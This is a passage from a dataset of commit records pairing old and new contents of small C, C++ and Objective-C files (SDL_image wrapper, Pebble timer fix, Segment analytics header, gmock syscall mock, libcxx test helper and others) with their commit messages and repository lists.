}\n\tvoid toggle(bool expanded);\n};\n","subject":"Fix UI arrow artifact in Cross References and Search widgets.","message":"Fix UI arrow artifact in Cross References and Search widgets.\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"d12700eb6db3cef72602f80f7f6225d43c58f6b5","old_file":"include\/sdl_image.h","new_file":"include\/sdl_image.h","old_contents":"","new_contents":"\/*\n The MIT License (MIT)\n\n Copyright (c) 2016 tagener-noisu\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\n#ifndef SDL_IMAGE_WRAPPER_H\n#define SDL_IMAGE_WRAPPER_H 1\n\/\/-------------------------------------------------------------------\n#include <SDL_image.h>\n#include \"wrapper\/exceptions.h\"\n\/\/-------------------------------------------------------------------\n\nnamespace SDL {\nnamespace IMG {\n\nstatic_assert(SDL_IMAGE_MAJOR_VERSION == 2,\n\t\"Only version 2.x of SDL_image is supported\");\n\ntemplate<class ErrorHandler =Throw>\nclass SdlImage {\n\tErrorHandler handle_error;\npublic:\n\tSdlImage(int flags =0) {\n\t\tif ((IMG_Init(flags) & flags) != flags)\n\t\t\thandle_error(SDL_GetError());\n\t}\n\n\t~SdlImage() {\n\t\tIMG_Quit();\n\t}\n};\n\ntemplate<>\nclass SdlImage<NoChecking> {\n\tint st;\npublic:\n\tSdlImage(int flags =0) :st {IMG_Init(flags)} {}\n\n\tint state() const { return st; }\n\n\t~SdlImage() {\n\t\tIMG_Quit();\n\t}\n};\n\nusing SafeSdlImage = SdlImage<Throw>;\nusing UnsafeSdlImage = SdlImage<NoChecking>;\n\n\/\/-------------------------------------------------------------------\n\ninline SDL_Surface* Load(const char* file) {\n\treturn IMG_Load(file);\n}\n\n} \/\/ namespace\n} \/\/ namespace\n\/\/-------------------------------------------------------------------\n#endif\n","subject":"Add wrapper for SDL2_image lib","message":"Add wrapper for SDL2_image lib\n","lang":"C","license":"mit","repos":"tagener-noisu\/cxx_sdl"}
{"commit":"60b33a957f46e635909e45b24d5de0c242994bef","old_file":"pebble\/src\/common.c","new_file":"pebble\/src\/common.c","old_contents":"\/***\n * Multi Timer\n * Copyright © 2013 Matthew Tole\n *\n * common.c\n ***\/\n\n#include <pebble.h>\n#include \"libs\/xprintf.h\"\n\nvoid uppercase(char* str) {\n  char* point = str;\n  while (*point != '\\0') {\n    if (*point >= 97 && *point <= 122) {\n      *point -= 32;\n    }\n    point += 1;\n  }\n}\n\nint patoi(char* str) {\n  long num;\n  xatoi(&str, &num);\n  return (int)num;\n}\n\nvoid timer_duration_str(int duration, bool showHours, char* str, int str_len) {\n  int hours = duration \/ 3600;\n  int minutes = (duration % 3600) \/ 60;\n  int seconds = (duration % 3600) % 60;\n  if (showHours) {\n    snprintf(str, str_len, \"%02d:%02d:%02d\", hours, minutes, seconds);\n  }\n  else {\n    snprintf(str, str_len, \"%02d:%02d\", minutes, seconds);\n  }\n}","new_contents":"\/***\n * Multi Timer\n * Copyright © 2013 Matthew Tole\n *\n * common.c\n ***\/\n\n#include <pebble.h>\n#include \"libs\/xprintf.h\"\n\nvoid uppercase(char* str) {\n  char* point = str;\n  while (*point != '\\0') {\n    if (*point >= 97 && *point <= 122) {\n      *point -= 32;\n    }\n    point += 1;\n  }\n}\n\nint patoi(char* str) {\n  long num;\n  xatoi(&str, &num);\n  return (int)num;\n}\n\nvoid timer_duration_str(int duration, bool showHours, char* str, int str_len) {\n  int hours = duration \/ 3600;\n  int minutes = (showHours ? (duration % 3600) : duration) \/ 60;\n  int seconds = (showHours ? (duration % 3600) : duration) % 60;\n  if (showHours) {\n    snprintf(str, str_len, \"%02d:%02d:%02d\", hours, minutes, seconds);\n  }\n  else {\n    snprintf(str, str_len, \"%02d:%02d\", minutes, seconds);\n  }\n}","subject":"Fix bug in rendering of timer duration.","message":"Fix bug in rendering of timer duration.\n","lang":"C","license":"mit","repos":"ThiagoVinicius\/multi-timer,sdoo12\/multi-timer,sdoo12\/multi-timer,ThiagoVinicius\/multi-timer,smallstoneapps\/multi-timer,ThiagoVinicius\/multi-timer,ThiagoVinicius\/multi-timer,smallstoneapps\/multi-timer,smallstoneapps\/multi-timer,sdoo12\/multi-timer,smallstoneapps\/multi-timer,smallstoneapps\/multi-timer,ThiagoVinicius\/multi-timer"}
{"commit":"7a6f9bd873ea97f9a5e129e5ef6cc12ea216f9cb","old_file":"EnumeratorKit\/Core\/NSArray+EKFlatten.h","new_file":"EnumeratorKit\/Core\/NSArray+EKFlatten.h","old_contents":"\/\/\n\/\/  NSArray+EKFlatten.h\n\/\/  EnumeratorKit\n\/\/\n\/\/  Created by Adam Sharp on 23\/07\/13.\n\/\/  Copyright (c) 2013 Adam Sharp. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"NSArray+EKEnumerable.h\"\n\n\/**\n * Extends NSArray with a single method `-flatten` to recursively\n * build a single-level array with all objects from all child arrays.\n *\/\n@interface NSArray (EKFlatten)\n\n\/**\n * Recursively builds a new array by adding all objects from all child\n * arrays. The order of children is preserved. For example:\n *\n *     [@[@[@1, @2], @3] flatten] \/\/ => @[@1, @2, @3]\n *\n * and\n *\n *     @[@1, @[@2, @[@3, @4]], @5, @[@6]] \/\/ => @[@1, @2, @3, @4, @5, @6]\n *\/\n- (NSArray *)flatten;\n\n@end\n","new_contents":"\/\/\n\/\/  NSArray+EKFlatten.h\n\/\/  EnumeratorKit\n\/\/\n\/\/  Created by Adam Sharp on 23\/07\/13.\n\/\/  Copyright (c) 2013 Adam Sharp. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"NSArray+EKEnumerable.h\"\n\n\/**\n Extends NSArray with a single method `-flatten` to recursively build a\n single-level array with all objects from all child arrays.\n *\/\n@interface NSArray (EKFlatten)\n\n\/**\n Recursively builds a new array by adding all objects from all child\n arrays. The order of children is preserved. For example:\n\n    [@[@[@1, @2], @3] flatten] \/\/ => @[@1, @2, @3]\n\n and\n\n    @[@1, @[@2, @[@3, @4]], @5, @[@6]] \/\/ => @[@1, @2, @3, @4, @5, @6]\n *\/\n- (NSArray *)flatten;\n\n@end\n","subject":"Improve [NSArray flatten] doc formatting","message":"Improve [NSArray flatten] doc formatting\n","lang":"C","license":"mit","repos":"sharplet\/EnumeratorKit"}
{"commit":"bdde085c7d376ce0aff368249164c9ee504eba97","old_file":"src\/ipc\/ipc.h","new_file":"src\/ipc\/ipc.h","old_contents":"#ifndef IPC_H\n#define IPC_H\n\n#include \"..\/process\/process.h\"\n\nvoid current_fds(proc_t *proc);\n\n#endif\n","new_contents":"#ifndef IPC_H\n#define IPC_H\n\nint current_fds(char *pidstr);\n\n#endif\n","subject":"Adjust declaration for returning int","message":"Adjust declaration for returning int\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"c02fc5091d062d255e43bd69c419d29693b7494e","old_file":"include\/ActionBar.h","new_file":"include\/ActionBar.h","old_contents":"#ifndef _ACTIONBAR_H_\n#define _ACTIONBAR_H_\n\n#include <InputElement.h>\n\n#include <Command.h>\n#include <FWPlatform.h>\n\nclass ActionBar : public Element {\n public:\n  ActionBar() { }\n\n  bool isA(const std::string & className) override {\n    if (className == \"ActionBar\") return true;\n    return Element::isA(className);\n  }\n\n protected:\n  void initialize(FWPlatform * _platform) override {\n    Element::initialize(_platform);\n    Command c(Command::CREATE_ACTIONBAR, getParentInternalId(), getInternalId());\n    sendCommand(c);\n  }\n};\n\n#endif\n","new_contents":"#ifndef _ACTIONBAR_H_\n#define _ACTIONBAR_H_\n\n#include <InputElement.h>\n\n#include <Command.h>\n#include <FWPlatform.h>\n\nclass ActionBar : public Element {\n public:\n  ActionBar() { }\n  ActionBar(const char * _title) : title(_title) { }\n\n  bool isA(const std::string & className) override {\n    if (className == \"ActionBar\") return true;\n    return Element::isA(className);\n  }\n\n protected:\n  void initialize(FWPlatform * _platform) override {\n    Element::initialize(_platform);\n    Command c(Command::CREATE_ACTIONBAR, getParentInternalId(), getInternalId());\n    c.setTextValue(title);\n    sendCommand(c);\n  }\n\n  const char * title;\n};\n\n#endif\n","subject":"Add constructor with title attached","message":"Add constructor with title attached","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"63234eb83899ecedd935ecebde76e7776b59012e","old_file":"Analytics\/SEGAnalyticsUtils.h","new_file":"Analytics\/SEGAnalyticsUtils.h","old_contents":"\/\/ AnalyticsUtils.h\n\/\/ Copyright (c) 2014 Segment.io. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n#define SEGStringize_helper(x) #x\n#define SEGStringize(x) @SEGStringize_helper(x)\n\nNSURL *SEGAnalyticsURLForFilename(NSString *filename);\n\n\/\/ Async Utils\ndispatch_queue_t seg_dispatch_queue_create_specific(const char *label, dispatch_queue_attr_t attr);\nBOOL seg_dispatch_is_on_specific_queue(dispatch_queue_t queue);\nvoid seg_dispatch_specific(dispatch_queue_t queue, dispatch_block_t block, BOOL waitForCompletion);\nvoid seg_dispatch_specific_async(dispatch_queue_t queue, dispatch_block_t block);\nvoid seg_dispatch_specific_sync(dispatch_queue_t queue, dispatch_block_t block);\n\n\/\/ Logging\n\nvoid SEGSetShowDebugLogs(BOOL showDebugLogs);\nvoid SEGLog(NSString *format, ...);\n\n\/\/ JSON Utils\n\nNSDictionary *SEGCoerceDictionary(NSDictionary *dict);\n\nNSString *SEGIDFA();\n\nNSString *SEGEventNameForScreenTitle(NSString *title);","new_contents":"\/\/ AnalyticsUtils.h\n\/\/ Copyright (c) 2014 Segment.io. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n#define SEGStringize_helper(x) #x\n#define SEGStringize(x) @SEGStringize_helper(x)\n\nNSURL *SEGAnalyticsURLForFilename(NSString *filename);\n\n\/\/ Async Utils\ndispatch_queue_t seg_dispatch_queue_create_specific(const char *label, dispatch_queue_attr_t attr);\nBOOL seg_dispatch_is_on_specific_queue(dispatch_queue_t queue);\nvoid seg_dispatch_specific(dispatch_queue_t queue, dispatch_block_t block, BOOL waitForCompletion);\nvoid seg_dispatch_specific_async(dispatch_queue_t queue, dispatch_block_t block);\nvoid seg_dispatch_specific_sync(dispatch_queue_t queue, dispatch_block_t block);\n\n\/\/ Logging\n\nvoid SEGSetShowDebugLogs(BOOL showDebugLogs);\nvoid SEGLog(NSString *format, ...);\n\n\/\/ JSON Utils\n\nNSDictionary *SEGCoerceDictionary(NSDictionary *dict);\n\nNSString *SEGIDFA();\n\nNSString *SEGEventNameForScreenTitle(NSString *title);\n","subject":"Fix \"No new line at end of file\" warning.","message":"Fix \"No new line at end of file\" warning.\n","lang":"C","license":"mit","repos":"djfink-carglass\/analytics-ios,graingert\/analytics-ios,dbachrach\/analytics-ios,string-team\/analytics-ios,vinod1988\/analytics-ios,jtomson-mdsol\/analytics-ios,jlandon\/analytics-ios,vinod1988\/analytics-ios,ldiqual\/analytics-ios,jonathannorris\/analytics-ios,graingert\/analytics-ios,ldiqual\/analytics-ios,abodo-dev\/analytics-ios,abodo-dev\/analytics-ios,string-team\/analytics-ios,cfraz89\/analytics-ios,djfink-carglass\/analytics-ios,cfraz89\/analytics-ios,hzalaz\/analytics-ios,rudywen\/analytics-ios,operator\/analytics-ios,operator\/analytics-ios,segmentio\/analytics-ios,jtomson-mdsol\/analytics-ios,orta\/analytics-ios,vinod1988\/analytics-ios,string-team\/analytics-ios,jlandon\/analytics-ios,hzalaz\/analytics-ios,dbachrach\/analytics-ios,cfraz89\/analytics-ios,orta\/analytics-ios,lumoslabs\/analytics-ios,hzalaz\/analytics-ios,segmentio\/analytics-ios,jlandon\/analytics-ios,jtomson-mdsol\/analytics-ios,orta\/analytics-ios,jonathannorris\/analytics-ios,operator\/analytics-ios,dcaunt\/analytics-ios,dcaunt\/analytics-ios,lumoslabs\/analytics-ios,rudywen\/analytics-ios,rudywen\/analytics-ios,dbachrach\/analytics-ios,djfink-carglass\/analytics-ios,dcaunt\/analytics-ios,jonathannorris\/analytics-ios,graingert\/analytics-ios,segmentio\/analytics-ios,ldiqual\/analytics-ios,segmentio\/analytics-ios,lumoslabs\/analytics-ios,abodo-dev\/analytics-ios"}
{"commit":"0124323b5e2c77ce639fe7db80e442b8db5cea96","old_file":"GrizSpace\/MapAnnotationList.h","new_file":"GrizSpace\/MapAnnotationList.h","old_contents":"\/\/\n\/\/  MapAnnotationList.h\n\/\/  GrizSpace\n\/\/\n\/\/  Created by Kevin Scott on 3\/15\/12.\n\/\/  Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"MapAnnotation.h\"\n\n@interface MapAnnotationList : NSObject\n{\n    \/\/int currentAnnotationIndex; \/\/the currently selected annotation index\n}\n\n\/\/@property (nonatomic, readwrite) bool currentAnnotationIndexSet; \/\/used to determin if the current annotation index is set.\n@property (nonatomic, readwrite) NSMutableArray* myAnnotationItems; \/\/gets the list of annotation items\n\n-(MapAnnotation*) GetNextAnnotation; \/\/gets the next annotation item\n-(MapAnnotation*) GetCurrentAnnotation; \/\/gets the current annotation item\n\n@end","new_contents":"\/\/\n\/\/  MapAnnotationList.h\n\/\/  GrizSpace\n\/\/\n\/\/  Created by Kevin Scott on 3\/15\/12.\n\/\/  Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"MapAnnotation.h\"\n\n@interface MapAnnotationList : NSObject \n{\n    \/\/int currentAnnotationIndex; \/\/the currently selected annotation index\n}\n\n\/\/@property (nonatomic, readwrite) bool currentAnnotationIndexSet; \/\/used to determin if the current annotation index is set.\n@property (nonatomic, readwrite) NSMutableArray* myAnnotationItems; \/\/gets the list of annotation items\n\n-(MapAnnotation*) GetNextAnnotation; \/\/gets the next annotation item\n-(MapAnnotation*) GetCurrentAnnotation; \/\/gets the current annotation item\n\n@end","subject":"Add space, commit to main","message":"Add space, commit to main\n","lang":"C","license":"mit","repos":"GrizSpace\/GrizSpace,GrizSpace\/GrizSpace"}
{"commit":"4bfb9c8913d63130dd6579a38b6969a8f75a74ee","old_file":"src\/cog.h","new_file":"src\/cog.h","old_contents":"\n\/\/main\nvoid cog_init();\nvoid cog_mainloop();\nvoid cog_destroy();\n\n","new_contents":"\n\/\/main\nvoid cog_init();\nvoid cog_mainloop();\nvoid cog_destroy();\n\n\/\/anim\ntypedef struct cog_sprite\n{\n}cog_sprite;\ncog_sprite* cog_add_anim(char* animimg, int milliseconds, ...);\nvoid cog_play_anim(cog_sprite* sprite);\n","subject":"Test for animation which hasn't been implemented yet.","message":"Test for animation which hasn't been implemented yet.\n","lang":"C","license":"mit","repos":"df3n5\/cog,df3n5\/cog,df3n5\/cog,df3n5\/cog"}
{"commit":"8fab47ede9d17225812312c380649b06b2ee46e2","old_file":"src\/main\/main.c","new_file":"src\/main\/main.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n\n#if PROJECT == 1\n#    include \"project_1.h\"\n#else\n#    error Unsupported project number in PROJECT macro. Valid values: 1\n#endif\n\nint main(int argc, char **argv)\n{\n    printf(\"Hello, world!\\n\");\n\n#   if PROJECT == 1\n    project_1_report();\n#   endif\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n\n#if PROJECT == 0\n#    \/\/ NOTE(bja, 2017-02): Building main with no project code.\n#elif PROJECT == 1\n#    include \"project_1.h\"\n#else\n#    error \"Unsupported project number in PROJECT macro. Valid values: 0, 1\"\n#endif\n\nint main(int argc, char **argv)\n{\n    printf(\"Hello, world!\\n\");\n\n#   if PROJECT == 1\n    project_1_report();\n#   endif\n\n    return 0;\n}\n","subject":"Allow building executable without any project code.","message":"Allow building executable without any project code.\n\nChange the logic in main to allow building an executable without any project\ncode.\n\nTesting: pass\n  macOS:\n    make clean; make test\n    make clean; make project=0 test\n    make clean; make project=1 test\n    make clean; make project=2 test\n    make clean; make platform=frdm project=0 all\n    make clean; make platform=frdm project=1 all\n    make clean; make platform=frdm project=2 all\n","lang":"C","license":"mpl-2.0","repos":"bjandre\/embedded-software-essentials,bjandre\/embedded-software-essentials,bjandre\/embedded-software-essentials"}
{"commit":"ed16ce94936816566eafad1075d5a7425f7a563e","old_file":"test\/SyscallsMock.h","new_file":"test\/SyscallsMock.h","old_contents":"#ifndef __EVIL_TEST_SYSCALLS_MOCK_H\n#define __EVIL_TEST_SYSCALLS_MOCK_H\n\n#include <gmock\/gmock.h>\n\n#include <string>\n#include <stack>\n\n#include \"os\/syscalls.h\"\n\nnamespace evil {\n\nclass SyscallsMock\n{\nprivate:\n    static thread_local std::stack<SyscallsMock *> _instance_stack;\n\npublic:\n    SyscallsMock() { _instance_stack.push(this); }\n    ~SyscallsMock() { _instance_stack.pop(); }\n\n    static SyscallsMock *instance() { return _instance_stack.top(); }\n\n    MOCK_METHOD2(_access, int(const char *path, int mode));\n    MOCK_METHOD1(_close,  int(int fd));\n    MOCK_METHOD1(_isatty, int(int fd));\n    MOCK_METHOD2(_kill,   int(long pid, int sig));\n    MOCK_METHOD3(_open,   int(const char *path, int flags, int mode));\n    MOCK_METHOD0(_getpid, long(void));\n    MOCK_METHOD3(_write,  ssize_t(int fd, const void *buf, size_t count));\n    MOCK_METHOD1(_sbrk,   void *(ptrdiff_t increment));\n    MOCK_METHOD1(_exit,   void(int exit_code));\n};\n\n} \/\/ namespace evil\n\n#endif \/\/ __EVIL_TEST_SYSCALLS_MOCK_H\n","new_contents":"#ifndef __EVIL_TEST_SYSCALLS_MOCK_H\n#define __EVIL_TEST_SYSCALLS_MOCK_H\n\n#include <gmock\/gmock.h>\n\n#include <string>\n#include <stack>\n\n#include \"os\/syscalls.h\"\n\nnamespace evil {\n\nclass SyscallsMock\n{\nprivate:\n    static thread_local std::stack<SyscallsMock *> _instance_stack;\n\npublic:\n    SyscallsMock() { _instance_stack.push(this); }\n    ~SyscallsMock() { _instance_stack.pop(); }\n\n    static SyscallsMock *instance() { return _instance_stack.top(); }\n\n    MOCK_METHOD2(_access, int(const std::string &path, int mode));\n    MOCK_METHOD1(_close,  int(int fd));\n    MOCK_METHOD1(_isatty, int(int fd));\n    MOCK_METHOD2(_kill,   int(long pid, int sig));\n    MOCK_METHOD3(_open,   int(const std::string &path, int flags, int mode));\n    MOCK_METHOD0(_getpid, long(void));\n    MOCK_METHOD3(_write,  ssize_t(int fd, const void *buf, size_t count));\n    MOCK_METHOD1(_sbrk,   void *(ptrdiff_t increment));\n    MOCK_METHOD1(_exit,   void(int exit_code));\n};\n\n} \/\/ namespace evil\n\n#endif \/\/ __EVIL_TEST_SYSCALLS_MOCK_H\n","subject":"Make mocked functions take std::string to allow == compare","message":"Make mocked functions take std::string to allow == compare\n","lang":"C","license":"mit","repos":"dextero\/evilibc,dextero\/evilibc,dextero\/evilibc"}
{"commit":"95dd7be8d2c69dc5ff8d91a0d876f51893bdf1d2","old_file":"mbc.h","new_file":"mbc.h","old_contents":"#pragma once\n\n#include <vector>\n#include \"types.h\"\n\nclass MemoryBankController\n{\npublic:\n  MemoryBankController() = delete;\n  MemoryBankController(const std::vector<u8> &rom, std::vector<u8> &ram) : rom(rom), ram(ram) {}\n  virtual ~MemoryBankController() {}\n\n  virtual u8 get8(uint address) const = 0;\n  virtual void set8(uint address, u8 value) = 0;\n\n  enum class BankingMode\n  {\n    ROM,\n    RAM\n  };\n\nprotected:\n  const std::vector<u8> &rom;\n  std::vector<u8> &ram;\n  uint active_rom_bank = 1;\n  uint active_ram_bank = 0;\n  bool ram_enabled = false;\n  BankingMode banking_mode = BankingMode::ROM;\n};\n\nclass MBC1 final : public MemoryBankController\n{\npublic:\n  using MemoryBankController::MemoryBankController;\n\n  u8 get8(uint address) const override;\n  void set8(uint address, u8 value) override;\n};\n","new_contents":"#pragma once\n\n#include <vector>\n#include \"types.h\"\n\nclass MemoryBankController\n{\npublic:\n  MemoryBankController() = delete;\n  MemoryBankController(const std::vector<u8> &rom, std::vector<u8> &ram) : rom(rom), ram(ram) {}\n  virtual ~MemoryBankController() {}\n\n  virtual u8 get8(uint address) const = 0;\n  virtual void set8(uint address, u8 value) = 0;\n\nprotected:\n  const std::vector<u8> &rom;\n  std::vector<u8> &ram;\n  uint active_rom_bank = 1;\n  uint active_ram_bank = 0;\n  bool ram_enabled = false;\n};\n\nclass MBC1 final : public MemoryBankController\n{\n  enum class BankingMode\n  {\n    ROM,\n    RAM\n  };\n\n  BankingMode banking_mode = BankingMode::ROM;\n\npublic:\n  using MemoryBankController::MemoryBankController;\n\n  u8 get8(uint address) const override;\n  void set8(uint address, u8 value) override;\n};\n","subject":"Move BankingMode enum from base class to MBC1","message":"MBC: Move BankingMode enum from base class to MBC1\n","lang":"C","license":"mit","repos":"alastair-robertson\/gameboy,alastair-robertson\/gameboy,alastair-robertson\/gameboy"}
{"commit":"3345e7878878529abc29a37aa18207c708c108d5","old_file":"webkit\/glue\/plugins\/ppb_private.h","new_file":"webkit\/glue\/plugins\/ppb_private.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"third_party\/ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","subject":"Add third_party\/ prefix to ppapi include for checkdeps.","message":"Add third_party\/ prefix to ppapi include for checkdeps.\n\nThe only users of this ppb should be inside chrome so this should work fine.\n\nTBR=jam@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/3019006\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@52766 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium"}
{"commit":"e13fe9f79af4185ac245b36e9c426c7a6c3fedb2","old_file":"src\/jaguar_helper.h","new_file":"src\/jaguar_helper.h","old_contents":"#ifndef JAGUAR_HELPER_H_\n#define JAGUAR_HELPER_H_\n\n#include <boost\/detail\/endian.hpp>\n#include <stdint.h>\n#include \"jaguar_api.h\"\n\n#ifdef BOOST_LITTLE_ENDIAN\n#define htole16(x) x\n#define htole32(x) x\n#define le16toh(x) x\n#define le32toh(x) x\n#elif BOOST_BIG_ENDIAN\n#error big endian architectures are unsupported\n#else\n#error unknown endiannes\n#endif\n\nnamespace jaguar {\n\nint16_t  double_to_s8p8(double x);\nuint16_t double_to_u8p8(double x);\nint32_t  double_to_s16p16(double x);\n\ndouble s8p8_to_double(int16_t x);\ndouble s16p16_to_double(int32_t x);\n\nuint32_t pack_id(uint8_t num, Manufacturer::Enum man, DeviceType::Enum type,\n                 APIClass::Enum api_class, uint8_t api_index);\n\n};\n\n#endif","new_contents":"#ifndef JAGUAR_HELPER_H_\n#define JAGUAR_HELPER_H_\n\n#include <boost\/detail\/endian.hpp>\n#include <stdint.h>\n#include \"jaguar_api.h\"\n\n#ifndef __GLIBC__\n# ifdef BOOST_LITTLE_ENDIAN\n#  define htole16(x) x\n#  define htole32(x) x\n#  define le16toh(x) x\n#  define le32toh(x) x\n# elif BOOST_BIG_ENDIAN\n#  error big endian architectures are unsupported\n# else\n#  error unknown endiannes\n# endif\n#endif\n\nnamespace jaguar {\n\nint16_t  double_to_s8p8(double x);\nuint16_t double_to_u8p8(double x);\nint32_t  double_to_s16p16(double x);\n\ndouble s8p8_to_double(int16_t x);\ndouble s16p16_to_double(int32_t x);\n\nuint32_t pack_id(uint8_t num, Manufacturer::Enum man, DeviceType::Enum type,\n                 APIClass::Enum api_class, uint8_t api_index);\n\n};\n\n#endif\n","subject":"Use provided byteorder convertions on GLIBC systems","message":"Use provided byteorder convertions on GLIBC systems\n","lang":"C","license":"bsd-2-clause","repos":"mkoval\/jaguar,mkoval\/jaguar"}
{"commit":"3c7b80131b4df24bbd71959a5af80961caa449cf","old_file":"test\/support\/tracked_value.h","new_file":"test\/support\/tracked_value.h","old_contents":"","new_contents":"#ifndef SUPPORT_TRACKED_VALUE_H\n#define SUPPORT_TRACKED_VALUE_H\n\n#include <cassert>\n\nstruct TrackedValue {\n    enum State { CONSTRUCTED, MOVED_FROM, DESTROYED };\n    State state;\n\n    TrackedValue() : state(State::CONSTRUCTED) {}\n\n    TrackedValue(TrackedValue const& t) : state(State::CONSTRUCTED) {\n        assert(t.state != State::MOVED_FROM && \"copying a moved-from object\");\n        assert(t.state != State::DESTROYED  && \"copying a destroyed object\");\n    }\n\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\n    TrackedValue(TrackedValue&& t) : state(State::CONSTRUCTED) {\n        assert(t.state != State::MOVED_FROM && \"double moving from an object\");\n        assert(t.state != State::DESTROYED  && \"moving from a destroyed object\");\n        t.state = State::MOVED_FROM;\n    }\n#endif\n\n    TrackedValue& operator=(TrackedValue const& t) {\n        assert(state != State::DESTROYED && \"copy assigning into destroyed object\");\n        assert(t.state != State::MOVED_FROM && \"copying a moved-from object\");\n        assert(t.state != State::DESTROYED  && \"copying a destroyed object\");\n        state = t.state;\n        return *this;\n    }\n\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\n    TrackedValue& operator=(TrackedValue&& t) {\n        assert(state != State::DESTROYED && \"move assigning into destroyed object\");\n        assert(t.state != State::MOVED_FROM && \"double moving from an object\");\n        assert(t.state != State::DESTROYED  && \"moving from a destroyed object\");\n        state = t.state;\n        t.state = State::MOVED_FROM;\n        return *this;\n    }\n#endif\n\n    ~TrackedValue() {\n        assert(state != State::DESTROYED && \"double-destroying an object\");\n        state = State::DESTROYED;\n    }\n};\n\n#endif \/\/ SUPPORT_TRACKED_VALUE_H\n","subject":"Add TrackedValue to test\/support. Thanks to Louis Dionne","message":"Add TrackedValue to test\/support. Thanks to Louis Dionne\n\ngit-svn-id: 756ef344af921d95d562d9e9f9389127a89a6314@231674 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx"}
